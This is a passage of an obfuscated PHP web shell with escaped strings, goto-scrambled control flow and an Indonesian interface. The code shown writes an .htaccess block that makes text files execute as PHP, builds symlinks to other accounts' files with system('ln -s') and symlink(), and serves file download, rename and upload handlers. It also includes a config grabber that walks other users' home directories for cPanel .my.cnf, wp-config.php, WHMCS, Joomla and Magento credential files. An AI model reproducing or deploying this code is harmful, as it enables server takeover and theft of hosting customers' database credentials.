"\xa\117\x70\164\x69\157\x6e\x73\x20\x49\156\x64\145\170\x65\x73\40\106\157\154\x6c\157\x77\x53\171\155\114\x69\x6e\153\163\12\x44\x69\x72\x65\x63\x74\157\162\171\x49\x6e\144\145\170\x20\x69\x64\x73\56\150\x74\x6d\154\xa\101\x64\x64\x54\171\160\x65\x20\x74\x65\170\x74\57\160\x6c\x61\x69\x6e\40\x70\x68\160\40\x68\164\x6d\x6c\x20\160\x68\160\65\40\x70\x68\x74\x6d\x6c\xa\x41\x64\144\x48\141\x6e\144\x6c\x65\162\40\164\x65\170\x74\57\x70\154\x61\151\156\x20\x70\150\160\40\x68\164\155\x6c\40\160\150\160\65\40\160\x68\x74\x6d\x6c\xa\x53\141\x74\x69\x73\146\x79\x20\x41\x6e\171"); goto Uf7R1; GQdc9: @system("\154\x6e\x20\x2d\163\x20" . $dir . "\x69\156\x64\157\x73\145\x63\x5f\163\x79\x6d\64\60\x34\x2f" . $isi); goto rheAQ; wGkxr: @rmdir("\151\156\x64\x6f\163\x65\143\x5f\163\x79\x6d\x34\60\64"); goto gdlli; rheAQ: @symlink($dir, "\151\x6e\x64\x6f\163\145\x63\x5f\x73\171\x6d\x34\60\x34\57" . $isi); goto GDVee; kYf1I: } else { echo "\x3c\x68\62\76\123\171\x6d\154\x69\156\x6b\x20\64\60\64\74\57\x68\x32\76\15\12\x9\11\x3c\146\157\x72\x6d\x20\x6d\x65\164\150\x6f\144\75\42\x70\x6f\x73\x74\42\76\15\12\x9\11\11\x46\x69\154\x65\x20\124\141\x72\x67\145\164\x3a\x20\74\x69\x6e\160\165\x74\40\x74\171\160\x65\75\42\x74\145\x78\x74\42\40\x63\154\141\x73\x73\75\42\146\157\x72\x6d\55\x63\x6f\156\164\162\x6f\154\42\40\x6e\141\x6d\145\x3d\42\144\151\x72\42\x20\x76\x61\154\165\x65\x3d\42\x2f\150\157\155\x65\57" . $cp . "\57\x70\165\142\154\151\143\137\150\x74\155\154\57\x77\x70\55\143\x6f\156\x66\151\x67\56\x70\150\160\x22\76\x3c\x62\x72\x2f\76\15\xa\x9\x9\x9\x53\x61\166\x65\40\x41\x73\x3a\x20\74\151\x6e\x70\165\164\40\164\x79\160\145\x3d\42\x74\145\x78\164\42\40\x63\x6c\141\163\x73\75\x22\x66\157\162\x6d\55\143\157\156\164\x72\x6f\x6c\x22\x20\156\141\155\x65\75\42\x69\163\151\x22\x20\x70\154\x61\x63\145\x68\157\154\x64\x65\162\75\42\x5b\105\x78\x5d\x20\146\x69\154\145\x2e\164\170\164\x22\57\76\74\x62\x72\57\76\xd\xa\x9\11\x9\74\151\156\160\x75\164\x20\x74\171\x70\x65\x3d\42\163\x75\142\155\x69\x74\42\40\x63\x6c\x61\x73\x73\x3d\42\x62\x74\x6e\40\x62\x74\x6e\x2d\144\x61\156\x67\x65\x72\40\x62\164\156\55\x62\154\x6f\143\153\x22\x20\166\x61\x6c\x75\x65\x3d\42\105\170\145\x63\x75\164\145\x22\40\156\x61\155\x65\75\x22\x65\170\x65\x63\x75\x74\x65\42\57\x3e\15\12\11\x9\x9\x3c\160\x20\143\x6c\x61\x73\x73\x3d\x22\x74\x65\170\x74\x2d\155\x75\x74\x65\x64\x22\x3e\x4e\102\x3a\40\114\x65\x74\141\153\40\x77\160\55\x63\157\x6e\146\151\x67\40\x74\x69\144\x61\x6b\40\x73\145\x6d\165\x61\x6e\171\x61\x20\x62\145\x72\x61\x64\x61\x20\144\151\40\x3c\x75\x3e\160\x75\x62\x6c\151\x63\137\150\164\x6d\154\57\x77\160\x2d\143\x6f\x6e\x66\x69\147\56\160\x68\x70\74\x2f\x75\x3e\x20\152\141\x64\x69\x20\163\x69\x6c\141\x68\x6b\x61\156\40\165\x62\x61\150\40\163\145\163\165\x61\x69\x20\154\x65\x74\141\x6b\x6e\171\141\x2e\x3c\57\x70\76\15\xa\11\x9\x3c\57\x66\x6f\162\155\76"; } goto zXBj0; UTuJE: } goto cJZq9; IxIib: @ini_set("\x6f\x75\164\x70\165\x74\x5f\x62\x75\x66\x66\145\x72\x69\156\147", 0); goto dr5yf; TJWJH: if ($_GET["\x61\x6b\x73\151"] == "\172\151\160\x5f\x6d\145\156\165") { zipMenu($dir, $file); } goto RG3Mn; xBMpg: if ($_GET["\141\153\x73\x69"] == "\x61\x75\164\x65\x64\x75\163\145\x72") { autoEdit($dir, $file); } goto KpT3J; w5cNg: function renameFile($dir, $file, $nfile, $imgfile) { goto yD2Fs; JTvjF: if (isset($_POST["\x72\x65\156\141\155\x65\137\x66\x69\x6c\x65"])) { goto SAthl; Hlv1z: rename($baru, $lama); goto nzZKl; xoiVu: $baru = $_POST["\x6e\141\155\141\x6e\145\x77"]; goto Hlv1z; nzZKl: if (file_exists($baru)) { goto Qirij; Qirij: $swa = "\163\165\x63\x63\145\x73\163"; goto Dddy9; Dddy9: $text = "\116\141\x6d\141\x20{$baru}\40\124\145\x6c\x61\150\x20\x44\151\147\x75\156\x61\x6b\141\x6e"; goto ck4py; ck4py: swall($swa, $text, $dir); goto YxXCn; YxXCn: } else { if (rename($lama, $baru)) { goto sslmU; sslmU: $swa = "\x73\x75\143\x63\x65\x73\x73"; goto XDIC8; ZR2ak: swall($swa, $text, $dir); goto woAhs; XDIC8: $text = "\x42\x65\x72\x68\141\163\151\154\x20\115\145\x6e\147\x67\x61\x6e\x74\151\40\x4e\141\x6d\141\x20\x4d\145\156\x6a\x61\x64\151\40{$baru}"; goto ZR2ak; woAhs: } else { goto IvPY4; Cwn4U: swall($swa, $text, $dir); goto NMXSn; IH4Ak: $text = "\x47\141\147\141\x6c\40\115\145\x6e\147\x67\141\x6e\x74\x69\40\116\141\155\141"; goto Cwn4U; IvPY4: $swa = "\145\x72\162\157\x72"; goto IH4Ak; NMXSn: } } goto ywxkr; SAthl: $lama = $file; goto xoiVu; ywxkr: } goto n9_VX; CR6jN: echo "\x3c\x66\157\x72\155\40\155\145\x74\x68\x6f\144\x3d\x27\x50\x4f\123\124\x27\x3e\15\xa\x9\x9\74\x68\x35\x3e{$imgfile}\x20\122\x65\x6e\141\x6d\x65\40\x46\x69\x6c\x65\x20\72\x20{$nfile}\x3c\57\x68\x35\x3e\15\xa\11\11\74\151\x6e\160\165\x74\40\164\171\160\145\x3d\47\x74\x65\x78\164\x27\40\x63\154\x61\163\163\x3d\47\x66\x6f\162\155\x2d\143\157\x6e\x74\x72\157\154\47\x20\x6e\141\155\x65\x3d\47\x6e\141\155\x61\x6e\x65\167\47\x20\x70\x6c\141\x63\145\x68\x6f\154\144\145\162\75\47\115\x61\x73\165\153\x61\156\40\x4e\141\x6d\x61\x20\102\x61\162\x75\x2e\56\56\47\x20\166\x61\x6c\165\x65\x3d\x27{$nfile}\47\76\x3c\x62\x72\x2f\x3e\15\xa\x9\x9\x3c\142\165\x74\164\x6f\156\x20\x74\x79\160\x65\x3d\x27\x73\x75\155\142\x69\x74\47\x20\143\x6c\141\163\x73\x3d\x27\x62\164\156\x20\142\x74\x6e\55\151\156\146\157\x20\x62\164\156\55\x62\154\x6f\x63\153\47\40\x6e\141\155\x65\x3d\x27\x72\145\x6e\141\155\145\137\x66\x69\x6c\145\x27\x3e\x52\145\x6e\x61\155\145\x3c\57\142\x75\164\x74\157\156\76\15\xa\11\x3c\x2f\146\157\x72\x6d\76"; goto JTvjF; yD2Fs: echo "\x5b\x20\74\141\x20\150\x72\x65\146\75\42\x3f\x64\x69\162\75" . $dir . "\x26\141\x6b\x73\151\75\x76\151\x65\167\46\x66\x69\154\145\75" . $file . "\x22\76\x4c\151\150\x61\164\x3c\x2f\x61\76\x20\135\40\x20\133\40\74\x61\40\x68\x72\x65\x66\x3d\x22\x3f\x64\x69\162\x3d" . $dir . "\x26\x61\153\163\151\x3d\x65\x64\151\164\x26\146\x69\154\x65\75" . $file . "\x22\76\x45\144\x69\x74\74\57\x61\x3e\x20\x5d\40\x20\133\40\74\141\x20\143\x6c\x61\163\163\x3d\x22\x61\x63\164\x69\166\x65\x22\40\x68\x72\x65\146\75\x22\77\144\151\162\x3d" . $dir . "\x26\x61\x6b\163\151\75\162\145\x6e\x61\155\145\46\x66\x69\x6c\x65\x3d" . $file . "\42\76\122\145\156\x61\155\x65\74\x2f\141\76\40\x5d\x20\40\133\x20\x3c\x61\40\150\x72\145\x66\x3d\x22\77\x64\x69\x72\x3d" . $dir . "\x26\141\153\163\151\75\x68\141\160\x75\163\146\46\x66\151\154\x65\x3d" . $file . "\42\76\x44\x65\154\145\x74\x65\74\57\x61\76\40\x5d"; goto CR6jN; n9_VX: } goto bMmbo; xz2zF: echo "\x3c\x61\40\x68\x72\145\x66\x3d\x27\x23\47\40\x63\x6c\x61\163\x73\x3d\47\x73\x63\x72\157\x6c\154\x54\x6f\x54\157\x70\47\x3e\74\151\40\x63\x6c\141\163\x73\75\47\146\x61\40\146\x61\55\141\x72\162\157\x77\55\x75\160\x20\165\160\x27\x20\x61\x72\151\141\55\150\151\x64\x64\x65\x6e\x3d\x27\x74\162\165\145\47\76\x3c\57\x69\76\74\x2f\x61\76"; goto qap3T; EzpS3: if (isset($_GET["\146\151\154\x65"]) && $_GET["\x66\x69\x6c\x65"] != '' && $_GET["\x61\x6b\163\151"] == "\144\157\x77\156\x6c\x6f\x61\x64") { goto zVQWx; kuX0n: header("\103\x6f\x6e\164\x65\x6e\164\55\104\x69\x73\x70\x6f\163\x69\x74\x69\157\x6e\72\40\141\x74\164\x61\x63\150\155\x65\156\164\73\x20\x66\x69\x6c\x65\x6e\x61\x6d\145\75\42" . basename($file) . "\x22"); goto RA6oN; SWf0q: header("\103\x6f\156\164\x65\156\x74\x2d\104\145\x73\143\162\151\160\164\151\157\x6e\x3a\40\x46\x69\x6c\x65\40\124\x72\141\x6e\163\x66\x65\162"); goto ydkUx; ydkUx: header("\103\157\x6e\164\x65\156\x74\55\x54\x79\160\145\x3a\40\x61\x70\160\x6c\151\x63\141\x74\151\157\x6e\x2f\157\143\164\x65\164\55\x73\164\x72\x65\x61\155"); goto kuX0n; W0ugW: $file = $_GET["\x66\151\x6c\145"]; goto SWf0q; ECZ_h: header("\103\157\x6e\164\145\x6e\x74\55\114\x65\156\x67\164\150\x3a\40" . filesize($file)); goto pHJCM; tL3ea: exit; goto Quuh6; pHJCM: readfile($file); goto tL3ea; zVQWx: @ob_clean(); goto W0ugW; JOHFN: header("\x43\x61\x63\150\145\55\x43\157\x6e\164\x72\x6f\154\72\x20\155\x75\x73\164\x2d\x72\x65\166\x61\x6c\151\144\141\164\145"); goto hcZgn; hcZgn: header("\120\x72\x61\147\x6d\141\72\x20\160\x75\x62\154\x69\x63"); goto ECZ_h; RA6oN: header("\x45\170\x70\151\x72\145\x73\72\x20\x30"); goto JOHFN; Quuh6: } goto ZCeW1; ML2sV: if ($_GET["\141\x6b\163\x69"] == "\165\x70\154\x6f\x61\144") { aksiUpload($dir); } goto o9j8b; pk13s: $show_ds = !empty($ds) ? "\x3c\x61\x20\150\x72\x65\x66\x3d\47\x3f\144\x69\x72\x3d{$dir}\46\141\153\163\151\x3d\144\x69\163\141\142\x66\x75\x6e\x63\x27\40\143\154\141\163\163\75\x27\x64\163\47\76{$ds}\x3c\x2f\x61\x3e" : "\x3c\x61\40\150\162\x65\x66\x3d\47\77\144\151\x72\x3d{$dir}\46\x61\x6b\x73\151\75\x64\x69\x73\141\x62\146\165\156\x63\47\76\74\x66\157\x6e\x74\40\143\x6f\154\x6f\x72\75\147\x72\x65\x65\156\76\116\117\x4e\x45\x3c\x2f\x66\x6f\x6e\164\x3e\74\x2f\141\76"; goto SnXTb; BEmbQ: if ($_GET["\x61\x6b\x73\x69"] == "\163\x79\x6d\x6c\x69\x6e\x6b") { aksiSym($dir, $file); } goto QWWRl; RG3Mn: if (isset($_GET["\160\x61\x74\x68"])) { $path = $_GET["\x70\x61\164\x68"]; chdir($path); } else { $path = getcwd(); } goto mP4ds; mZGym: function aksiConfig($dir, $file) { if ($_POST) { goto nugCa; tBTEG: foreach ($user_config[1] as $user_con) { $user_config_dir = "\x2f\150\157\x6d\145\x2f{$user_con}\57\160\x75\x62\x6c\151\x63\137\x68\164\x6d\154\x2f"; if (is_readable($user_config_dir)) { $grab_config = array("\57\x68\157\155\145\x2f{$user_con}\x2f\56\155\x79\x2e\x63\156\146" => "\x63\160\x61\x6e\x65\154", "\57\x68\x6f\x6d\145\57{$user_con}\57\x70\x75\x62\154\x69\x63\137\x68\164\155\x6c\57\143\157\x6e\x66\x69\147\x2f\x6b\x6f\156\x65\x6b\x73\x69\56\160\150\x70" => "\x4c\157\x6b\x6f\155\145\144\x69\141", "\x2f\150\157\x6d\145\57{$user_con}\57\160\165\142\x6c\x69\143\137\150\x74\155\x6c\57\146\x6f\x72\165\x6d\x2f\x63\x6f\156\146\x69\x67\56\160\x68\160" => "\160\150\160\x42\x42", "\57\x68\157\155\145\57{$user_con}\57\160\x75\142\x6c\x69\143\x5f\150\x74\x6d\154\57\163\x69\x74\145\x73\x2f\144\x65\x66\x61\x75\154\164\57\163\145\x74\x74\151\x6e\x67\x73\x2e\x70\150\x70" => "\x44\162\165\x70\141\x6c", "\x2f\x68\157\155\145\x2f{$user_con}\x2f\160\x75\x62\x6c\151\143\137\x68\164\155\154\57\x63\157\x6e\x66\x69\x67\57\163\145\x74\164\x69\x6e\x67\x73\56\151\x6e\143\x2e\160\x68\x70" => "\120\x72\145\163\x74\x61\x53\x68\157\x70", "\x2f\150\157\155\x65\x2f{$user_con}\x2f\160\165\142\154\151\143\137\150\x74\155\x6c\x2f\141\x70\x70\57\x65\x74\143\x2f\154\x6f\x63\141\154\x2e\x78\x6d\x6c" => "\115\x61\147\145\156\164\157", "\x2f\x68\157\x6d\x65\x2f{$user_con}\57\160\165\x62\x6c\151\x63\137\x68\x74\155\x6c\57\x61\144\x6d\151\x6e\x2f\143\x6f\156\x66\x69\147\x2e\160\x68\x70" => "\117\160\x65\x6e\x43\141\x72\164", "\x2f\150\x6f\155\145\x2f{$user_con}\57\x70\165\x62\x6c\x69\143\x5f\150\164\x6d\154\x2f\x61\x70\x70\x6c\x69\143\x61\x74\151\157\156\x2f\x63\157\x6e\x66\x69\x67\57\x64\x61\x74\141\142\141\x73\x65\56\x70\x68\x70" => "\x45\x6c\x6c\151\x73\154\141\142", "\57\150\157\x6d\x65\x2f{$user_con}\57\x70\x75\142\154\x69\x63\137\x68\x74\x6d\154\x2f\x76\x62\x2f\151\x6e\143\154\165\144\x65\163\x2f\x63\x6f\x6e\146\151\x67\x2e\x70\150\160" => "\126\x62\165\154\154\x65\164\x69\x6e", "\57\x68\157\155\145\x2f{$user_con}\57\x70\x75\142\154\151\143\137\x68\x74\155\154\x2f\151\x6e\143\x6c\165\144\145\x73\x2f\143\157\x6e\146\151\x67\x2e\160\x68\x70" => "\126\x62\165\x6c\x6c\x65\164\x69\156", "\x2f\150\x6f\x6d\145\x2f{$user_con}\57\x70\x75\x62\x6c\x69\x63\x5f\x68\164\x6d\x6c\57\x66\x6f\x72\x75\155\x2f\151\156\x63\x6c\x75\144\x65\x73\57\143\157\x6e\x66\151\147\56\160\x68\160" => "\126\142\x75\x6c\154\145\164\151\156", "\57\150\157\x6d\145\57{$user_con}\57\x70\x75\142\154\151\x63\x5f\x68\x74\x6d\154\57\x66\157\162\165\155\163\x2f\x69\x6e\143\x6c\165\144\x65\163\x2f\143\157\156\146\151\x67\x2e\160\150\160" => "\x56\x62\165\154\x6c\x65\164\151\156", "\57\x68\x6f\x6d\145\57{$user_con}\x2f\x70\x75\142\154\x69\143\137\x68\164\155\x6c\57\143\143\57\x69\156\x63\154\x75\144\145\163\57\143\x6f\156\146\x69\x67\56\x70\x68\160" => "\126\x62\x75\154\x6c\145\164\x69\156", "\57\150\157\155\x65\57{$user_con}\57\160\x75\142\x6c\151\143\137\150\164\x6d\x6c\57\x69\156\143\x2f\x63\157\x6e\146\x69\147\x2e\x70\x68\160" => "\x4d\171\x42\102", "\57\150\x6f\155\x65\57{$user_con}\x2f\160\x75\x62\x6c\151\x63\x5f\150\x74\155\154\x2f\x69\x6e\143\x6c\x75\x64\x65\x73\57\x63\x6f\x6e\146\151\147\x75\x72\x65\x2e\x70\x68\x70" => "\x4f\x73\x43\x6f\x6d\155\x65\162\x63\x65", "\x2f\150\157\x6d\x65\57{$user_con}\x2f\x70\x75\x62\154\151\x63\137\x68\x74\x6d\x6c\57\163\x68\157\x70\x2f\x69\x6e\143\154\x75\x64\145\163\57\143\x6f\x6e\146\x69\147\x75\162\x65\56\x70\x68\160" => "\117\163\103\157\x6d\155\145\162\x63\145", "\57\x68\x6f\x6d\x65\57{$user_con}\57\x70\x75\142\x6c\151\143\137\150\164\155\x6c\57\157\x73\x2f\x69\x6e\x63\x6c\165\x64\145\x73\57\x63\157\156\146\151\x67\165\162\145\56\160\150\160" => "\117\163\x43\157\x6d\x6d\145\x72\143\x65", "\57\150\x6f\x6d\x65\57{$user_con}\x2f\x70\165\142\154\151\143\x5f\x68\164\x6d\x6c\57\157\163\x63\x6f\155\57\x69\x6e\x63\154\x75\x64\x65\163\x2f\143\157\156\x66\151\x67\165\162\145\56\x70\x68\x70" => "\117\163\103\x6f\x6d\x6d\145\x72\143\x65", "\57\150\x6f\x6d\145\57{$user_con}\x2f\x70\x75\142\154\x69\x63\x5f\x68\x74\x6d\x6c\57\x70\x72\x6f\x64\165\143\164\163\57\x69\156\x63\x6c\165\x64\x65\163\x2f\x63\x6f\156\146\151\147\x75\162\x65\x2e\160\x68\160" => "\x4f\163\x43\x6f\x6d\155\145\x72\143\145", "\x2f\x68\157\155\x65\57{$user_con}\x2f\160\165\x62\154\x69\143\137\x68\164\155\x6c\x2f\x63\141\162\164\x2f\151\156\x63\154\x75\144\x65\x73\x2f\x63\x6f\x6e\x66\151\147\165\162\x65\56\160\x68\x70" => "\x4f\163\x43\157\x6d\x6d\145\162\x63\145", "\57\150\157\155\x65\x2f{$user_con}\x2f\x70\x75\x62\x6c\x69\143\x5f\x68\164\x6d\154\x2f\151\x6e\143\x2f\x63\x6f\x6e\146\x5f\x67\x6c\157\x62\x61\x6c\56\x70\150\160" => "\111\120\102", "\57\x68\x6f\x6d\x65\57{$user_con}\57\160\165\142\x6c\x69\x63\137\150\x74\155\154\57\x77\160\55\143\x6f\156\x66\151\147\56\x70\150\x70" => "\x57\x6f\x72\x64\160\162\x65\163\163", "\57\150\157\x6d\145\x2f{$user_con}\57\160\165\x62\154\x69\x63\x5f\150\x74\x6d\154\57\x77\x70\57\x74\x65\x73\x74\57\167\x70\x2d\x63\157\156\x66\151\147\x2e\160\x68\160" => "\127\157\x72\144\160\x72\x65\x73\163", "\57\150\157\155\x65\x2f{$user_con}\57\x70\165\142\x6c\x69\143\137\x68\x74\155\x6c\x2f\142\154\157\x67\57\167\x70\55\x63\x6f\x6e\x66\151\x67\x2e\x70\x68\x70" => "\127\x6f\162\x64\160\x72\x65\163\163", "\x2f\x68\157\155\145\x2f{$user_con}\x2f\x70\x75\142\154\151\x63\137\150\164\155\x6c\x2f\142\145\164\141\x2f\167\160\55\143\x6f\x6e\x66\x69\x67\56\160\x68\160" => "\127\157\x72\144\160\x72\x65\x73\x73", "\57\150\x6f\155\x65\x2f{$user_con}\57\x70\165\x62\154\x69\143\137\150\164\155\154\x2f\160\x6f\162\x74\x61\x6c\x2f\x77\160\55\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70" => "\x57\157\x72\144\x70\162\x65\163\x73", "\x2f\150\x6f\155\145\57{$user_con}\57\160\165\x62\x6c\151\x63\137\150\x74\155\154\x2f\x73\151\x74\145\57\x77\x70\x2d\x63\157\x6e\x66\151\x67\56\160\x68\x70" => "\127\157\x72\144\160\162\x65\163\x73", "\57\150\x6f\x6d\145\x2f{$user_con}\57\x70\165\142\154\151\143\x5f\x68\164\x6d\x6c\x2f\x77\160\57\167\160\x2d\x63\x6f\156\x66\151\147\x2e\x70\x68\x70" => "\x57\x6f\x72\x64\160\162\x65\x73\163", "\57\150\x6f\155\145\x2f{$user_con}\57\160\165\142\154\151\143\x5f\150\x74\155\154\57\127\120\x2f\167\160\55\x63\x6f\156\146\x69\147\56\160\x68\160" => "\x57\x6f\x72\x64\x70\x72\x65\x73\x73", "\x2f\150\x6f\x6d\145\x2f{$user_con}\x2f\160\x75\x62\x6c\151\x63\x5f\150\164\x6d\154\57\x6e\x65\x77\163\57\x77\x70\x2d\x63\x6f\156\x66\x69\x67\56\x70\150\x70" => "\127\157\162\144\160\162\x65\x73\x73", "\57\x68\x6f\x6d\145\57{$user_con}\x2f\x70\165\x62\x6c\151\x63\137\150\x74\155\x6c\57\167\157\x72\x64\x70\x72\x65\163\163\57\x77\x70\55\143\x6f\x6e\x66\151\x67\x2e\160\x68\160" => "\127\157\x72\144\x70\x72\x65\x73\x73", "\x2f\150\157\155\145\57{$user_con}\x2f\x70\165\142\x6c\x69\x63\137\x68\164\155\x6c\x2f\x74\x65\163\x74\57\167\x70\55\x63\157\156\x66\x69\147\x2e\160\x68\160" => "\x57\x6f\x72\144\160\x72\145\163\163", "\57\x68\x6f\x6d\x65\x2f{$user_con}\x2f\160\165\x62\154\x69\143\x5f\150\x74\x6d\154\x2f\x64\145\155\157\57\167\x70\x2d\x63\x6f\156\x66\x69\147\x2e\160\150\160" => "\x57\x6f\x72\144\x70\162\x65\x73\x73", "\x2f\x68\157\155\x65\x2f{$user_con}\57\160\x75\x62\154\x69\x63\x5f\150\164\x6d\x6c\x2f\150\157\x6d\x65\57\167\160\x2d\143\x6f\x6e\146\x69\147\x2e\160\150\x70" => "\x57\x6f\x72\x64\x70\x72\145\x73\x73", "\57\150\157\155\145\57{$user_con}\57\x70\x75\x62\x6c\x69\x63\x5f\x68\x74\x6d\x6c\x2f\x76\x31\57\167\x70\x2d\x63\x6f\156\146\151\x67\x2e\x70\150\160" => "\x57\157\162\x64\x70\162\x65\x73\163", "\57\150\x6f\155\145\x2f{$user_con}\x2f\x70\165\x62\x6c\x69\143\x5f\x68\164\x6d\154\57\x76\x32\x2f\167\x70\x2d\143\x6f\x6e\146\x69\x67\56\x70\x68\x70" => "\127\157\162\144\x70\x72\145\163\163", "\x2f\x68\157\155\145\x2f{$user_con}\x2f\160\x75\x62\x6c\x69\x63\137\x68\164\155\154\x2f\160\x72\145\163\x73\x2f\x77\x70\55\x63\x6f\156\146\151\147\x2e\160\x68\160" => "\127\x6f\x72\144\x70\162\145\x73\163", "\x2f\150\157\x6d\x65\57{$user_con}\57\160\x75\x62\x6c\x69\143\137\x68\x74\x6d\x6c\57\x6e\x65\167\57\167\160\x2d\143\x6f\156\x66\x69\x67\x2e\160\150\x70" => "\127\x6f\162\x64\x70\x72\x65\x73\x73", "\57\150\157\x6d\x65\57{$user_con}\x2f\x70\165\142\154\x69\x63\137\x68\x74\155\154\x2f\142\154\157\147\163\57\x77\160\55\143\157\156\x66\x69\147\56\160\150\160" => "\x57\157\162\x64\160\x72\x65\x73\x73", "\57\150\157\x6d\145\x2f{$user_con}\x2f\x70\165\142\154\151\x63\x5f\x68\x74\155\154\57\143\157\x6e\x66\151\147\x75\x72\x61\164\x69\157\156\x2e\160\150\160" => "\x4a\x6f\x6f\x6d\x6c\x61", "\57\x68\x6f\155\145\57{$user_con}\x2f\160\165\x62\x6c\151\x63\x5f\x68\x74\x6d\x6c\57\142\154\157\147\57\x63\157\156\x66\x69\x67\165\x72\141\x74\x69\157\x6e\56\160\150\160" => "\x4a\x6f\157\x6d\x6c\x61", "\57\x68\x6f\155\x65\57{$user_con}\x2f\x70\x75\142\154\x69\x63\x5f\150\x74\155\154\57\163\165\x62\155\x69\x74\164\x69\143\x6b\145\164\56\x70\150\x70" => "\136\x57\x48\115\x43\123", "\57\150\157\x6d\x65\57{$user_con}\57\160\x75\x62\154\x69\x63\x5f\150\x74\155\154\x2f\143\155\x73\x2f\x63\x6f\x6e\x66\x69\x67\x75\162\141\164\151\157\x6e\x2e\x70\150\x70" => "\112\x6f\157\155\154\x61", "\57\x68\x6f\155\x65\57{$user_con}\x2f\x70\165\142\x6c\151\143\x5f\x68\x74\x6d\154\57\x62\x65\164\x61\x2f\143\x6f\x6e\x66\151\x67\x75\x72\141\x74\151\157\156\56\x70\150\160" => "\112\157\x6f\x6d\x6c\141", "\x2f\x68\x6f\x6d\145\x2f{$user_con}\x2f\160\x75\142\154\x69\143\137\x68\164\x6d\154\57\x70\x6f\x72\x74\141\x6c\57\x63\157\156\x66\x69\x67\165\162\x61\164\x69\x6f\x6e\56\160\150\160" => "\112\157\x6f\155\154\x61", "\57\x68\x6f\155\145\57{$user_con}\57\160\165\x62\x6c\x69\x63\x5f\150\164\x6d\154\57\x73\x69\164\145\x2f\x63\157\156\146\151\147\x75\162\141\164\x69\157\156\56\160\x68\160" => "\x4a\157\157\155\154\141", "\x2f\x68\x6f\x6d\145\57{$user_con}\57\160\x75\142\x6c\151\143\x5f\150\x74\155\154\x2f\155\141\151\156\x2f\143\157\x6e\146\151\x67\165\162\x61\x74\151\157\156\x2e\160\x68\x70" => "\x4a\x6f\x6f\155\x6c\141", "\57\150\157\x6d\x65\57{$user_con}\x2f\160\165\x62\x6c\151\143\137\x68\164\155\154\57\150\x6f\x6d\145\57\143\x6f\x6e\146\x69\x67\165\162\141\164\151\157\156\x2e\160\x68\160" => "\x4a\157\157\x6d\154\141", "\x2f\150\x6f\155\x65\x2f{$user_con}\57\160\165\x62\154\151\x63\x5f\x68\164\155\154\57\x64\145\x6d\x6f\57\143\157\x6e\x66\151\147\165\162\141\164\x69\x6f\x6e\56\160\x68\160" => "\x4a\157\157\155\154\141", "\57\150\x6f\x6d\x65\57{$user_con}\x2f\x70\165\x62\x6c\x69\x63\x5f\x68\x74\155\x6c\x2f\x74\x65\x73\x74\57\x63\157\x6e\x66\151\x67\165\162\x61\164\151\x6f\x6e\x2e\x70\150\160" => "\x4a\157\157\155\154\141", "\57\150\x6f\x6d\145\x2f{$user_con}\57\x70\x75\x62\154\151\x63\x5f\x68\164\155\x6c\57\x76\x31\57\143\x6f\156\146\151\x67\x75\x72\141\164\x69\157\156\56\x70\150\160" => "\x4a\157\x6f\155\x6c\141", "\x2f\150\x6f\155\145\57{$user_con}\57\x70\165\142\154\151\x63\137\x68\x74\155\x6c\x2f\166\x32\57\x63\157\x6e\146\151\x67\x75\162\141\164\x69\157\x6e\56\160\150\160" => "\112\x6f\157\x6d\154\x61", "\57\150\157\155\145\57{$user_con}\57\x70\x75\x62\x6c\151\143\137\150\x74\x6d\x6c\57\x6a\157\x6f\x6d\x6c\x61\57\x63\x6f\156\x66\151\147\165\x72\141\164\151\x6f\156\x2e\160\x68\160" => "\112\x6f\x6f\x6d\154\x61", "\57\150\x6f\x6d\145\57{$user_con}\57\x70\x75\x62\x6c\x69\143\x5f\x68\164\155\x6c\57\156\x65\x77\57\x63\157\156\146\x69\x67\x75\x72\141\x74\151\157\156\56\x70\150\160" => "\112\157\x6f\x6d\x6c\x61", "\57\150\x6f\x6d\145\57{$user_con}\57\x70\x75\142\154\x69\x63\x5f\x68\x74\155\154\57\x57\x48\x4d\103\123\x2f\163\x75\x62\155\x69\164\164\151\143\153\145\164\56\160\150\160" => "\x57\x48\x4d\x43\123", "\x2f\x68\157\155\145\x2f{$user_con}\x2f\160\x75\x62\154\151\x63\x5f\x68\164\x6d\154\x2f\167\150\155\143\163\x31\57\163\x75\x62\x6d\x69\x74\x74\x69\143\153\x65\x74\56\x70\x68\160" => "\127\110\x4d\x43\123", "\x2f\x68\157\x6d\145\57{$user_con}\57\x70\165\142\x6c\x69\x63\137\x68\x74\x6d\x6c\x2f\x57\x68\155\143\x73\x2f\163\x75\142\x6d\x69\x74\164\x69\143\x6b\145\x74\56\x70\x68\x70" => "\127\x48\x4d\103\x53", "\x2f\x68\x6f\155\x65\57{$user_con}\57\x70\165\x62\x6c\151\x63\137\150\x74\x6d\154\57\x77\150\x6d\x63\x73\57\163\165\142\155\151\x74\164\x69\x63\x6b\145\164\x2e\160\150\x70" => "\x57\x48\115\103\x53", "\57\150\x6f\155\145\57{$user_con}\x2f\x70\165\x62\154\x69\x63\x5f\x68\x74\x6d\154\x2f\x77\x68\x6d\143\x73\57\163\165\142\155\151\x74\164\151\x63\x6b\x65\x74\x2e\160\x68\x70" => "\x57\110\115\103\x53", "\x2f\150\x6f\155\x65\x2f{$user_con}\x2f\160\x75\142\154\x69\143\137\x68\x74\155\154\57\127\x48\115\x43\57\163\165\142\x6d\x69\164\164\x69\x63\x6b\x65\164\56\160\150\x70" => "\x57\x48\x4d\103\123", "\x2f\150\x6f\x6d\145\57{$user_con}\57\160\x75\x62\x6c\151\x63\137\x68\x74\x6d\154\57\x57\150\155\x63\x2f\x73\x75\142\x6d\151\164\164\x69\143\x6b\x65\x74\56\x70\150\x70" => "\127\110\115\x43\x53", "\57\150\157\x6d\x65\57{$user_con}\x2f\160\x75\x62\x6c\151\143\x5f\x68\164\x6d\154\57\x77\150\x6d\143\57\163\x75\142\x6d\151\x74\x74\151\143\153\x65\164\x2e\x70\x68\160" => "\x57\x48\115\x43\123", "\x2f\x68\157\155\x65\57{$user_con}\x2f\160\165\x62\154\x69\143\x5f\x68\164\155\154\57\127\x48\x4d\57\x73\x75\x62\x6d\151\x74\x74\x69\143\153\145\x74\56\x70\x68\x70" => "\127\x48\115\103\x53", "\57\150\157\155\145\57{$user_con}\x2f\160\x75\142\154\x69\143\137\150\164\x6d\154\57\x57\150\155\57\163\165\x62\x6d\x69\x74\164\x69\x63\153\145\x74\56\160\x68\x70" => "\x57\x48\115\103\x53", 